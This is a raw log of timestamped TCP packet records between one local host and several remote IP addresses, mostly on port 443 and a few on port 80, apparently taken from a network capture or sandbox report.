Nov 12, 2024 10:37:23.137830019 CET	443	49706	20.190.160.20	192.168.2.6
Nov 12, 2024 10:37:23.137842894 CET	443	49706	20.190.160.20	192.168.2.6
Nov 12, 2024 10:37:23.137866020 CET	49706	443	192.168.2.6	20.190.160.20
Nov 12, 2024 10:37:23.137978077 CET	443	49706	20.190.160.20	192.168.2.6
Nov 12, 2024 10:37:23.137989044 CET	443	49706	20.190.160.20	192.168.2.6
Nov 12, 2024 10:37:23.138017893 CET	49706	443	192.168.2.6	20.190.160.20
Nov 12, 2024 10:37:23.138098955 CET	443	49706	20.190.160.20	192.168.2.6
Nov 12, 2024 10:37:23.138109922 CET	443	49706	20.190.160.20	192.168.2.6
Nov 12, 2024 10:37:23.138118982 CET	443	49706	20.190.160.20	192.168.2.6
Nov 12, 2024 10:37:23.138137102 CET	49706	443	192.168.2.6	20.190.160.20
Nov 12, 2024 10:37:23.138154030 CET	49706	443	192.168.2.6	20.190.160.20
Nov 12, 2024 10:37:23.205040932 CET	443	49806	94.245.104.56	192.168.2.6
Nov 12, 2024 10:37:23.275336981 CET	49806	443	192.168.2.6	94.245.104.56
Nov 12, 2024 10:37:23.331070900 CET	49806	443	192.168.2.6	94.245.104.56
Nov 12, 2024 10:37:23.331082106 CET	443	49806	94.245.104.56	192.168.2.6
Nov 12, 2024 10:37:23.332606077 CET	443	49806	94.245.104.56	192.168.2.6
Nov 12, 2024 10:37:23.332623005 CET	443	49806	94.245.104.56	192.168.2.6
Nov 12, 2024 10:37:23.332654953 CET	49806	443	192.168.2.6	94.245.104.56
Nov 12, 2024 10:37:23.351347923 CET	49806	443	192.168.2.6	94.245.104.56
Nov 12, 2024 10:37:23.351564884 CET	443	49806	94.245.104.56	192.168.2.6
Nov 12, 2024 10:37:23.352969885 CET	49806	443	192.168.2.6	94.245.104.56
Nov 12, 2024 10:37:23.352994919 CET	443	49806	94.245.104.56	192.168.2.6
Nov 12, 2024 10:37:23.382502079 CET	443	49802	52.123.243.216	192.168.2.6
Nov 12, 2024 10:37:23.402563095 CET	49806	443	192.168.2.6	94.245.104.56
Nov 12, 2024 10:37:23.424815893 CET	49802	443	192.168.2.6	52.123.243.216
Nov 12, 2024 10:37:23.424837112 CET	443	49802	52.123.243.216	192.168.2.6
Nov 12, 2024 10:37:23.479362011 CET	443	49809	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:23.490066051 CET	443	49810	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:23.501542091 CET	443	49802	52.123.243.216	192.168.2.6
Nov 12, 2024 10:37:23.501552105 CET	443	49802	52.123.243.216	192.168.2.6
Nov 12, 2024 10:37:23.501595974 CET	443	49802	52.123.243.216	192.168.2.6
Nov 12, 2024 10:37:23.501601934 CET	49802	443	192.168.2.6	52.123.243.216
Nov 12, 2024 10:37:23.501611948 CET	443	49802	52.123.243.216	192.168.2.6
Nov 12, 2024 10:37:23.501624107 CET	443	49802	52.123.243.216	192.168.2.6
Nov 12, 2024 10:37:23.501640081 CET	443	49802	52.123.243.216	192.168.2.6
Nov 12, 2024 10:37:23.501648903 CET	49802	443	192.168.2.6	52.123.243.216
Nov 12, 2024 10:37:23.501666069 CET	49802	443	192.168.2.6	52.123.243.216
Nov 12, 2024 10:37:23.501682997 CET	49802	443	192.168.2.6	52.123.243.216
Nov 12, 2024 10:37:23.537591934 CET	49809	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:23.537621021 CET	443	49809	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:23.538069010 CET	49809	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:23.538077116 CET	443	49809	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:23.538321972 CET	49810	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:23.538343906 CET	443	49810	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:23.538724899 CET	49810	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:23.538731098 CET	443	49810	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:23.565476894 CET	443	49812	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:23.575172901 CET	49812	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:23.575202942 CET	443	49812	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:23.575875998 CET	49812	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:23.575884104 CET	443	49812	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:23.590250969 CET	443	49806	94.245.104.56	192.168.2.6
Nov 12, 2024 10:37:23.591125011 CET	443	49811	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:23.595088959 CET	49811	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:23.595123053 CET	443	49811	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:23.595685005 CET	49811	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:23.595695972 CET	443	49811	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:23.597995996 CET	49806	443	192.168.2.6	94.245.104.56
Nov 12, 2024 10:37:23.598067045 CET	443	49806	94.245.104.56	192.168.2.6
Nov 12, 2024 10:37:23.598167896 CET	49806	443	192.168.2.6	94.245.104.56
Nov 12, 2024 10:37:23.622292042 CET	443	49802	52.123.243.216	192.168.2.6
Nov 12, 2024 10:37:23.622303009 CET	443	49802	52.123.243.216	192.168.2.6
Nov 12, 2024 10:37:23.622349977 CET	443	49802	52.123.243.216	192.168.2.6
Nov 12, 2024 10:37:23.622364044 CET	49802	443	192.168.2.6	52.123.243.216
Nov 12, 2024 10:37:23.622365952 CET	443	49802	52.123.243.216	192.168.2.6
Nov 12, 2024 10:37:23.622384071 CET	443	49802	52.123.243.216	192.168.2.6
Nov 12, 2024 10:37:23.622390985 CET	443	49802	52.123.243.216	192.168.2.6
Nov 12, 2024 10:37:23.622415066 CET	49802	443	192.168.2.6	52.123.243.216
Nov 12, 2024 10:37:23.622437954 CET	49802	443	192.168.2.6	52.123.243.216
Nov 12, 2024 10:37:23.664103031 CET	443	49810	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:23.664186001 CET	443	49810	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:23.664231062 CET	49810	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:23.668992996 CET	443	49809	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:23.669140100 CET	443	49809	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:23.669202089 CET	49809	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:23.672578096 CET	49810	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:23.672597885 CET	443	49810	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:23.672609091 CET	49810	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:23.672616959 CET	443	49810	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:23.676589012 CET	49809	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:23.676618099 CET	443	49809	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:23.676630020 CET	49809	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:23.676635981 CET	443	49809	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:23.691215992 CET	49819	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:23.691246033 CET	443	49819	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:23.691323996 CET	49819	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:23.691565037 CET	49819	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:23.691576004 CET	443	49819	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:23.692954063 CET	49820	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:23.692996025 CET	443	49820	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:23.693053007 CET	49820	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:23.693173885 CET	49820	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:23.693186045 CET	443	49820	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:23.700416088 CET	443	49812	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:23.700489044 CET	443	49812	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:23.700548887 CET	49812	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:23.706796885 CET	443	49813	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:23.710119963 CET	49812	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:23.710143089 CET	443	49812	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:23.710191965 CET	49812	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:23.710197926 CET	443	49812	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:23.710850000 CET	49813	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:23.710886955 CET	443	49813	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:23.711488962 CET	49813	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:23.711497068 CET	443	49813	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:23.721623898 CET	49821	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:23.721653938 CET	443	49821	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:23.721705914 CET	49821	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:23.722168922 CET	49821	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:23.722181082 CET	443	49821	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:23.733385086 CET	443	49811	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:23.733453035 CET	443	49811	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:23.733496904 CET	49811	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:23.734963894 CET	49811	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:23.734982014 CET	443	49811	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:23.734993935 CET	49811	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:23.734997988 CET	443	49811	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:23.738425016 CET	49822	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:23.738445044 CET	443	49822	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:23.738503933 CET	49822	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:23.739168882 CET	49822	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:23.739182949 CET	443	49822	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:23.739830971 CET	443	49802	52.123.243.216	192.168.2.6
Nov 12, 2024 10:37:23.739841938 CET	443	49802	52.123.243.216	192.168.2.6
Nov 12, 2024 10:37:23.739866972 CET	443	49802	52.123.243.216	192.168.2.6
Nov 12, 2024 10:37:23.739897013 CET	443	49802	52.123.243.216	192.168.2.6
Nov 12, 2024 10:37:23.739901066 CET	49802	443	192.168.2.6	52.123.243.216
Nov 12, 2024 10:37:23.739916086 CET	443	49802	52.123.243.216	192.168.2.6
Nov 12, 2024 10:37:23.739942074 CET	49802	443	192.168.2.6	52.123.243.216
Nov 12, 2024 10:37:23.739976883 CET	49802	443	192.168.2.6	52.123.243.216
Nov 12, 2024 10:37:23.748847008 CET	443	49802	52.123.243.216	192.168.2.6
Nov 12, 2024 10:37:23.748882055 CET	443	49802	52.123.243.216	192.168.2.6
Nov 12, 2024 10:37:23.748925924 CET	49802	443	192.168.2.6	52.123.243.216
Nov 12, 2024 10:37:23.748931885 CET	443	49802	52.123.243.216	192.168.2.6
Nov 12, 2024 10:37:23.748990059 CET	49802	443	192.168.2.6	52.123.243.216
Nov 12, 2024 10:37:23.753885031 CET	49802	443	192.168.2.6	52.123.243.216
Nov 12, 2024 10:37:23.753968000 CET	443	49802	52.123.243.216	192.168.2.6
Nov 12, 2024 10:37:23.754025936 CET	49802	443	192.168.2.6	52.123.243.216
Nov 12, 2024 10:37:23.836380959 CET	443	49813	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:23.836543083 CET	443	49813	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:23.836591959 CET	49813	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:23.847398996 CET	49813	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:23.847430944 CET	443	49813	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:23.847445011 CET	49813	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:23.847451925 CET	443	49813	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:23.851294994 CET	49823	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:23.851327896 CET	443	49823	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:23.851423025 CET	49823	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:23.851766109 CET	49823	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:23.851778030 CET	443	49823	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:24.423450947 CET	80	49772	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:24.423531055 CET	49772	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:24.427903891 CET	443	49820	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:24.430099964 CET	443	49819	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:24.454665899 CET	443	49821	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:24.476819038 CET	443	49822	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:24.497914076 CET	49822	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:24.497941017 CET	443	49822	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:24.498742104 CET	49822	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:24.498748064 CET	443	49822	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:24.499175072 CET	49819	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:24.499191999 CET	443	49819	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:24.499226093 CET	49820	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:24.499239922 CET	443	49820	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:24.499741077 CET	49820	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:24.499746084 CET	443	49820	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:24.499892950 CET	49819	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:24.499897003 CET	443	49819	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:24.502408981 CET	49821	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:24.502427101 CET	443	49821	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:24.502794981 CET	49821	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:24.502799988 CET	443	49821	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:24.589191914 CET	443	49823	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:24.598522902 CET	49824	443	192.168.2.6	142.250.184.225
Nov 12, 2024 10:37:24.598546028 CET	443	49824	142.250.184.225	192.168.2.6
Nov 12, 2024 10:37:24.598788023 CET	49824	443	192.168.2.6	142.250.184.225
Nov 12, 2024 10:37:24.598956108 CET	49824	443	192.168.2.6	142.250.184.225
Nov 12, 2024 10:37:24.598968029 CET	443	49824	142.250.184.225	192.168.2.6
Nov 12, 2024 10:37:24.625122070 CET	443	49822	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:24.625248909 CET	443	49822	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:24.625467062 CET	49822	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:24.626121044 CET	443	49819	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:24.626295090 CET	443	49819	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:24.626343966 CET	49819	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:24.627791882 CET	443	49821	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:24.628626108 CET	443	49821	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:24.628693104 CET	49821	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:24.631700993 CET	49823	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:24.631716967 CET	443	49823	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:24.632370949 CET	49823	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:24.632376909 CET	443	49823	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:24.632625103 CET	49821	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:24.632638931 CET	443	49821	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:24.632690907 CET	49821	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:24.632694960 CET	443	49821	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:24.633167028 CET	443	49820	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:24.633404016 CET	443	49820	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:24.633449078 CET	49820	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:24.635021925 CET	49820	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:24.635036945 CET	443	49820	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:24.642281055 CET	49822	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:24.642302990 CET	443	49822	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:24.642318964 CET	49822	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:24.642326117 CET	443	49822	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:24.644953012 CET	49819	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:24.644967079 CET	443	49819	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:24.644979000 CET	49819	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:24.644984007 CET	443	49819	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:24.655652046 CET	49825	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:24.655677080 CET	443	49825	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:24.655767918 CET	49825	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:24.656347990 CET	49825	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:24.656357050 CET	443	49825	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:24.666569948 CET	49826	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:24.666604042 CET	443	49826	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:24.666672945 CET	49826	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:24.667468071 CET	49827	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:24.667476892 CET	443	49827	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:24.667721033 CET	49827	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:24.667848110 CET	49827	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:24.667859077 CET	443	49827	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:24.668543100 CET	49826	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:24.668557882 CET	443	49826	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:24.669411898 CET	49828	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:24.669449091 CET	443	49828	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:24.669526100 CET	49828	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:24.669625998 CET	49828	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:24.669640064 CET	443	49828	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:24.759171009 CET	443	49823	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:24.759248018 CET	443	49823	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:24.759320974 CET	49823	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:24.942723036 CET	49823	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:24.942759991 CET	443	49823	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:24.942774057 CET	49823	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:24.942780972 CET	443	49823	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:25.267776966 CET	49772	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:25.268497944 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:25.272636890 CET	80	49772	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:25.273417950 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:25.273500919 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:25.353138924 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:25.353218079 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:25.359570026 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:25.359584093 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:25.359594107 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:25.359671116 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:25.384071112 CET	49842	443	192.168.2.6	18.244.18.27
Nov 12, 2024 10:37:25.384083033 CET	443	49842	18.244.18.27	192.168.2.6
Nov 12, 2024 10:37:25.384181976 CET	49842	443	192.168.2.6	18.244.18.27
Nov 12, 2024 10:37:25.385519981 CET	49842	443	192.168.2.6	18.244.18.27
Nov 12, 2024 10:37:25.385524988 CET	443	49842	18.244.18.27	192.168.2.6
Nov 12, 2024 10:37:25.387059927 CET	443	49825	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:25.399116993 CET	49825	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:25.399156094 CET	443	49825	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:25.399977922 CET	443	49828	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:25.402857065 CET	49825	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:25.402865887 CET	443	49825	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:25.405400038 CET	443	49827	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:25.405837059 CET	49827	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:25.405850887 CET	443	49827	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:25.406464100 CET	49827	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:25.406470060 CET	443	49827	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:25.406481981 CET	443	49826	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:25.445457935 CET	49828	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:25.445472002 CET	443	49828	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:25.446409941 CET	49828	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:25.446419954 CET	443	49828	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:25.446846008 CET	49826	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:25.446865082 CET	443	49826	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:25.447572947 CET	49826	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:25.447578907 CET	443	49826	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:25.454384089 CET	49844	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:25.454432011 CET	443	49844	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:25.454597950 CET	49844	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:25.454912901 CET	49844	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:25.454926014 CET	443	49844	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:25.476485968 CET	443	49824	142.250.184.225	192.168.2.6
Nov 12, 2024 10:37:25.479404926 CET	49824	443	192.168.2.6	142.250.184.225
Nov 12, 2024 10:37:25.479430914 CET	443	49824	142.250.184.225	192.168.2.6
Nov 12, 2024 10:37:25.479824066 CET	443	49824	142.250.184.225	192.168.2.6
Nov 12, 2024 10:37:25.479836941 CET	443	49824	142.250.184.225	192.168.2.6
Nov 12, 2024 10:37:25.479902983 CET	49824	443	192.168.2.6	142.250.184.225
Nov 12, 2024 10:37:25.479909897 CET	443	49824	142.250.184.225	192.168.2.6
Nov 12, 2024 10:37:25.479928017 CET	49824	443	192.168.2.6	142.250.184.225
Nov 12, 2024 10:37:25.479984045 CET	49824	443	192.168.2.6	142.250.184.225
Nov 12, 2024 10:37:25.480500937 CET	443	49824	142.250.184.225	192.168.2.6
Nov 12, 2024 10:37:25.482466936 CET	49824	443	192.168.2.6	142.250.184.225
Nov 12, 2024 10:37:25.482528925 CET	443	49824	142.250.184.225	192.168.2.6
Nov 12, 2024 10:37:25.483079910 CET	49824	443	192.168.2.6	142.250.184.225
Nov 12, 2024 10:37:25.483088017 CET	443	49824	142.250.184.225	192.168.2.6
Nov 12, 2024 10:37:25.529911041 CET	443	49825	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:25.530103922 CET	443	49825	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:25.530168056 CET	49825	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:25.536683083 CET	443	49827	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:25.536746025 CET	443	49827	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:25.536825895 CET	49827	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:25.540987968 CET	49825	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:25.541011095 CET	443	49825	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:25.541026115 CET	49825	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:25.541032076 CET	443	49825	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:25.542620897 CET	49827	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:25.542629957 CET	443	49827	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:25.549460888 CET	49845	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:25.549504042 CET	443	49845	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:25.549566031 CET	49845	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:25.549582958 CET	49846	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:25.549623966 CET	443	49846	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:25.549699068 CET	49846	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:25.550106049 CET	49845	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:25.550116062 CET	443	49845	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:25.550250053 CET	49846	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:25.550262928 CET	443	49846	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:25.573569059 CET	443	49826	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:25.573642969 CET	443	49826	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:25.573695898 CET	49826	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:25.573966980 CET	49826	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:25.573966980 CET	49826	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:25.573987007 CET	443	49826	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:25.573998928 CET	443	49826	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:25.574371099 CET	443	49828	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:25.574445009 CET	443	49828	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:25.574558020 CET	49828	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:25.574763060 CET	49828	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:25.574763060 CET	49828	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:25.574779987 CET	443	49828	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:25.574791908 CET	443	49828	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:25.577024937 CET	49847	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:25.577044964 CET	443	49847	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:25.577167988 CET	49847	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:25.577316999 CET	49847	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:25.577326059 CET	443	49847	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:25.579734087 CET	49848	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:25.579756975 CET	443	49848	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:25.579812050 CET	49848	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:25.579935074 CET	49848	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:25.579943895 CET	443	49848	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:25.604330063 CET	49824	443	192.168.2.6	142.250.184.225
Nov 12, 2024 10:37:25.736890078 CET	443	49824	142.250.184.225	192.168.2.6
Nov 12, 2024 10:37:25.737169027 CET	443	49824	142.250.184.225	192.168.2.6
Nov 12, 2024 10:37:25.737267971 CET	49824	443	192.168.2.6	142.250.184.225
